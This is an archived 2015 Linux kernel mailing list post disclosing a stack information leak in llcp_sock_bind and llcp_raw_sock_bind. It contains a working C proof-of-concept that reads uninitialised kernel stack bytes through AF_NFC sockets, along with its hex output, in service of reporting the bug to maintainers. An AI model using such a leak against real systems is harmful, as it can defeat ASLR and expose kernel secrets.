Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]


Groups > linux.kernel > #1292512

Information leak in llcp_sock_bind/llcp_raw_sock_bind

From Dmitry Vyukov <dvyukov@google.com>
Newsgroups linux.kernel
Subject Information leak in llcp_sock_bind/llcp_raw_sock_bind
Date 2015-12-15 21:10 +0100
Message-ID <qG454-tz-23@gated-at.bofh.it> (permalink)
Organization linux.* mail to news gateway

Show all headers | View raw


Hello,

The following program leads to leak of unint bytes from kernel stack:

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

#define NFC_SOCKPROTO_LLCP 1

int main(void)
{
        struct sockaddr sa;
        unsigned len, i, try;
        int fd;

        for (try = 0; try < 3; try++) {
                fd = socket(AF_NFC, 3, NFC_SOCKPROTO_LLCP);
                if (fd == -1)
                        return;
                switch (try) {
                case 0:
                        break;
                case 1:
                        sched_yield();
                        break;
                case 2:
                        open("/dev/null", O_RDONLY);
                }
                memset(&sa, 0, sizeof(sa));
                sa.sa_family = AF_NFC;
                bind(fd, &sa, 2);
                len = sizeof(sa);
                getsockname(fd, &sa, &len);
                for (i = 0; i < len; i++)
                        printf("%02x", ((unsigned char*)&sa)[i]);
                printf("\n");
        }
        return 0;
}

Output:
27000000000000000000000000000000b002400000000000001f4511e5e38f900000000000000000b00240000000000018006c00000000007c134000000000000000000000000000000000000100000028f77610fe7f00005e10400000000000
27000000000000000000000000000000b002400000000000000212046c1647690000000000000000b00240000000000018006c00000000007c1340000000000000000000000000000000000001000000c874fff4fe7f00005e10400000000000
27000000000000000000000000000000b002400000000000008e8a91e4e069fc0000000000000000b00240000000000018006c00000000007c1340000000000000000000000000000000000001000000f868b3f2fe7f00005e10400000000000

The problem is that llcp_sock_bind/llcp_raw_sock_bind do not check
sockaddr_len passed in, so they copy stack garbage from stack into the
socket and then return it in getsockname.
This can defeat ASLR, leak crypto keys, etc.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Back to linux.kernel | Previous | NextNext in thread | Find similar | Unroll thread


Thread

Information leak in llcp_sock_bind/llcp_raw_sock_bind Dmitry Vyukov <dvyukov@google.com> - 2015-12-15 21:10 +0100
  Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind David Miller <davem@davemloft.net> - 2015-12-15 21:40 +0100
    Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind David Miller <davem@davemloft.net> - 2015-12-15 21:50 +0100
      Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind David Miller <davem@davemloft.net> - 2015-12-15 22:00 +0100
        Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind Dmitry Vyukov <dvyukov@google.com> - 2015-12-16 20:10 +0100
      Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind Dmitry Vyukov <dvyukov@google.com> - 2015-12-15 22:00 +0100
    Re: Information leak in llcp_sock_bind/llcp_raw_sock_bind Dmitry Vyukov <dvyukov@google.com> - 2015-12-15 21:50 +0100

csiph-web